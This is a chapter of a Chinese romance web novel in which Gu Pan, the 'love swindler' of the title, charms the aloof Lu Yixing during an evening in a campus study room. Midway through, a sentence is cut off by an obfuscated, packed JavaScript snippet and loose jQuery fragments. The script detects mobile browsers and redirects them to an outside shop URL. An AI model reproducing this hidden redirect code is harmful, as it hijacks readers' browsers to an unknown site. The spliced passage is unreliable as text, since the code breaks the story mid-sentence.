8.第 8 章

作品:《爱情骗子

    傍晚七点,天边一片残阳。


    正是晚饭点,学校三三两两散落着同学,顾盼抱着书,出了凯远楼,他慢悠悠的,一点也不急地往自习室走。


    早上陶折一发信息说,要去葡萄牙阿尔加维钓金枪鱼,遗憾表示最近都无法去庄园吃饭。


    顾盼觉得正好,赶紧去,别耽误他作恶。


    自习室是一栋白色三层小楼,掩映在绿化里,右侧小径上有人影过来。


    是路亦行,顾盼心道自己时间算得刚刚好。


    主要得益于八卦的同学们,在论坛建了个高楼帖,动不动更新路亦行的照片,他在哪儿,他在干嘛,他跟谁在一起,他好帅,随便翻翻帖子,就可以掌握他的行踪。


    暗处看亮处,分外眼明。


    门口有条长椅,路亦行坐下,开始抽烟。


    他姿态悠闲,虽然带着笔记本电脑,但并不急,大概碍于进自习室后不能抽烟,所以抽了再进去。顾盼猜测他应该喜欢银色,毕竟车子、手机、电脑都是同色。


    观察片刻,顾盼放轻脚步,悄悄往前,想吓他。


    路亦行跷着二郎腿,右手闲适地搭在扶手上,光背影,都一大帅哥。


    抽完烟的路亦行迟迟未动,顾盼不明白,恍然一抬头,瞧见对面宣传栏的玻璃面,一脸清晰的自己……以及与自己对视的路亦行。


    场面一时颇尴尬,顾盼问,“你都不出声的啊?”


    路亦行懒懒反问:“不是想吓我?”


    “确实想这么做。”


    “那怎么没吓?”


    “怕你打我。”


    秋天的夕阳不过一刹那就没了,黑得快,难以分辨彼此神色,顾盼也猜不出路亦行的心情,但感觉得到路亦行对他冷冷淡淡的,这肯定没错。


    自习室一楼的值守台后,小林老师正在看书。


    见有人来,起身,目光先在路亦行脸上落了一遭,停留挺久,最后落在顾盼脸上,问他们是不是来学习,又指了指门口的三辊闸。


    “这个坏了,你们可能得跳进来。”


    三辊闸指示灯没亮,推也推不动,进就得像地铁逃票那样跳过去,不进两人就得去图书馆挤。


    “还进吗?”顾盼抱着书,觉得倒霉。


    “进,怎么不进?”


    说完,路亦行把电脑搁在对面平台上,单掌撑着三辊闸的面板,轻巧一跃,便过了半人高的闸,正回身准备接,顾盼已经进来了。


    见他不动,顾盼奇道,“怎么了?”


    路亦行也好奇:“你怎么过来的?”


    “先这样。”顾盼抬起右腿,跨过闸,再侧身,“再这样。”他上半身像芭蕾半圈那样优雅转身,左腿垂直于地面,轻而易举地出去,然后又如法炮制地回来,“就行了啊。”


    路亦行眼神莫名其妙。


    顾盼也莫名其妙。


    路亦行问:“舞蹈生?”


    贺也也疑惑过,毕竟又长又直的腿实属罕见,柔韧性还这么好,顾盼恍然大悟:“我妈妈以前是舞蹈团的,无聊跟着练过,我还会一字马呢。”


    路亦行随口说:“厉害,有机会见见。”


    “好啊。”


    两人往楼上去,顾盼忽然发现,经由昨天那番岸边交流,路亦行对他的态度好了很多,刚刚应该是准备接他一把的。毕竟路亦行这种人拎得清,跟认定的朋友无所顾忌,外人就冷漠不已,有明显分界线的那种人。


    小林老师热情地跟上来,向他们介绍自习室的各个功能。


    吸音地毯,米色墙,绿植随时可见,温馨又静谧,半透明的茶色玻璃右侧贴着二维码,里间是两张沙发,中间一张桌,装有隔音帘。


    路亦行掏手机扫码,这还是顾盼第二次见他用手机,需要用微信扫,可路亦行就没下载……


    “要不我来吧?”他拿出自己的手机。


    “你给钱算怎么回事儿?”路亦行垂着头,手指点击下载,网速倒是快,甫一登录,一声叠一声的未读消息响起。


    一时间,整个安静的自习走廊都是这声儿。


    顾盼咕哝道:“我还以为你没有社交账号呢。”


    消息还在叠弹,伴随无穷无尽的各类推送,这就是路亦行不爱用手机的原因,心一烦,嘴就毒。


    “你怎么不说我从清朝过来的呢?”


    顾盼不乐意了,钓人高高兴兴地钓,分手开开心心地分,什么关系都还没有就给人甩脸子,什么意思啊,他当即拉脸,“凶什么啊?”


    路亦行琢磨着,刚才那话确实有点苛刻,于是收了手机,神色认真,“不好意思。”


    “这才对嘛。”顾盼心满意足地笑了,眼睛亮晶晶的,“我还以为你生气了,不让我进去怎么办?”


    “那你哭给我看?”路亦行就还是那样嘴毒。


    顾盼撇嘴,“我走了。”


    咔嗒一声,门开,路亦行单指勾住他书包肩条,往里带,往沙发上那么轻轻一推,不容置喙的口吻,“安生坐着。”


    关门,拉帘,开灯,一气呵成。


    再装就有点过了,顾盼从书包里拿出厚厚的《婚姻家庭法学》,开始看书,路亦行打开笔记本电脑,瞥了对面一眼。


    虽然复庆校方准备了办公室,但开会不方便。


    实验室那边有几个关于湍流的问题,需要跟教授们开会商议,愿意让顾盼同来,路亦行只当还人情,昨天那番疏导讲得蛮善解人意,权当感谢。


    两人心照不宣地各做各事。


    当下国内晚间19点,德国中午13点,路亦行戴着耳机,顾盼原本看得心无旁骛,直到听见几个陌生的词汇。


    他抬头一看。


    笔电上方是一双清凛凛的眼睛,蓝光屏映得路亦行脸庞清俊,眼瞳沉黑,眉头轻轻皱起,喉结滑动,说不上来的性感。他讲德文跟讲中文大相径庭,发音方式不同,平日慵懒缱绻的腔调消失殆尽,随之而来的是格外冷峻的磁性。


    路亦行睨来,顾盼赶紧“慌乱”地垂下眼睛,等几秒钟,他再心虚一瞟。


    路亦行已翘起嘴角,笑得有点坏。


    “笑什么?”顾盼问,难道他刚刚有点呆吗?


    路亦行摘了耳机,“吵着你了?”


    “没有啊。”顾盼埋下脸,屏了口长长长长的气,等差不多把脸憋红,再抬起来,“你说话好好听啊。”


    姜逢曾说,只要他埋下头,旁人从对面的角度看他,害羞的样子特别惹人怜爱。而且每个人都需要大张旗鼓地赞美,做鼓掌


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314879|198701||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    最用力的人总是没错的。


    路亦行咳了声,把嗓子恢复原状,“不学习看我干什么?”


    顾盼表情懵懂,明亮灯光下他脸颊几乎透明,清澈的瞳孔仿佛封了一层流动的冰壳,似水似雾,嘴唇颜色较平常淡了许多,微张着,嚣张的美貌渲染另一副柔软的样子。


    “因为你好看啊。”他迟疑地、慢吞吞地咬着说。


    空气安静几秒。


    路亦行不笑了,戴上耳机,目不转睛。


    几小时过去,不大的自习室只有指尖敲击键盘的轻微响动,和书页翻过的哗声,两人互不打扰,直到十点头顶的播放器传来温馨的提示音:“亲爱的同学们,学习固然重要,也要适时休息哦。”


    到此为止。


    顾盼阖上书,路亦行阖上笔电。


    “回了?”路亦行问他。


    “好。”顾盼点头。


    出了小楼,下过雨也早停了,天青融融的,地湿漉漉的,学校空无一人,唯有水洼映着各自有各自的月影。


    两人不紧不慢地踏碎了,往校门口去。


    今天路亦行套了件黑色的圆领针织开衫,袖子虚虚推到手臂,懒懒地拿着银色的笔记本电脑,没拿书,却自带一身书卷气,看着很舒服。


    梧桐在头顶散发着清香,四下无人,顾盼觉得时机很好。


    他加快几步转过身来,倒退着问路亦行:“我们学校还是很好吧?同学友善,环境优美。”


    “怎么样,今天有没有开心一点?”


    路亦行心诧,觉得他怎么把陶折一嘱托的话这么当回事,只说“还行”


    顾盼笑起来。


    眼睛在夜色下亦亮晶晶的,肤白,瓷实的白,偶尔路过一盏路灯,清晰地照亮他的眉眼,那嘴唇也是弯的,一身的青春气息,神采斐然。


    “感谢你今天让我体验了一次自习室。”他很有信心地邀请,“这样吧,明天我请你吃蛋糕,好吗?”


    路亦行不喜欢:“不了,谢谢。”


    “不喜欢吃甜的吗?”顾盼立马改口,“那换成其他的好了。”


    路亦行还是说不用。


    “不能白白享受你的啊,再说我还要带你玩呢,我们加个联系方式吧?”


    虽然最后一句才是重点,但路亦行还是想也没想地拒绝,主要是又不联系,纯麻烦。


    顾盼内心微沉。


    从小至今,他受到的优待数不胜数,都是别人上赶着来加他好友,外出吃饭都有陌客帮忙买单,这还是他第一次,连续被拒,简直气到安静,他不说话了,沉默地走着。


    出了校园,大街格外冷清。


    他又烦烦地说再见,路亦行说有东西忘了拿要回趟学校。


    顾盼挤出笑容,脚步轻快地闪进弄堂,行至昏暗处回头,路亦行还站在原地,手上夹着一支烟。


    清寂的街上,只有24小时便利店还亮着灯。


    路亦行站在店门口,下巴微抬,呼出一团随风即逝的青白烟雾,很帅,很远,与周遭格格不入,就像他这个人似的,那么难以打动,那么泾渭分明。


    顾盼心想,行,先容你牛几天。


    正筹划着接下来的坏心思,手机蓦地振动,他拿出一看,登时睁大了眼睛。